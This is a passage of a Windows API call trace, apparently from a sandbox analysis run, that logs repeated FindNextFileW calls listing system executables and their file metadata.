ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="label.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="lpremove.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917ee720, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x917ee720, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="lsass.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8646ad5c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8646ad5c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86490ebc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="lsm.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc26f3e1f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc26f3e1f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe63cef40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="Magnify.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa993f206, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa993f206, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe6599f00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="makecab.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa131dd15, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa131dd15, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa131dd15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="manage-bde.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1285794, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1285794, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12ab8f4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe9c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mblctr.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99860dd3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99860dd3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x998ad094, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mcbuilder.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ff26e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4e9ff26e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe6aa7e20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mctadmin.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384388cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x384388cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MdRes.exe", cAlternateFileName="")) returned 1 [0253.484] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cae1b2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cae1b2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90cd4312, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MdSched.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad68b6a9, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xad68b6a9, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe6d2edb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mfpmp.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0ab17e, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xaf0ab17e, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x2d518220, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x16650, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MigAutoPlay.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97ea8df4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x97ea8df4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe82c1510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20b800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mmc.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88cbd8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa88cbd8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa88cbd8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mobsync.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3581760b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3581760b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe85484a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mountvol.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7d7555, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xfb7d7555, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe8710d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mpnotify.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdf674, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1cdf674, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x46f2a400, ftLastWriteTime.dwHighDateTime=0x1cb6fbd, nFileSizeHigh=0x0, nFileSizeLow=0x42180, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MpSigStub.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858ac30d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x858ac30d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe8900700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MRINFO.EXE", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93ef72ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93ef72ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f1d42f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msconfig.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f748c1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x23f748c1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe9260570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x106e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msdt.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1d10961, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xf1d10961, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe92f7b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msdtc.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36d2757, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msfeedssync.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5bf525, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6c5bf525, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe931ec50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msg.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc462c463, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc462c463, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe9345d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mshta.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msiexec.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849572ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849572ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d77b9b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd8d77b9b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeabd2030, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x65e000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mspaint.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206ec2b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x206ec2b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xead4edf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="msra.exe", cAlternateFileName="")) returned 1 [0253.485] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd0f09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87cd0f09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87cf7069, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mstsc.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa8766c6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfa8766c6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb048970, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="mtstocom.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3728ce1, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xd3728ce1, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xeb0dff50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MuiUnattend.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1df59a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1df59a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1df59a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="MultiDigiMon.exe", cAlternateFileName="")) returned 1 [0253.486] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204904eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x204904eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb31b3f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x50800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="NAPSTAT.EXE", cAlternateFileName="")) returned 1 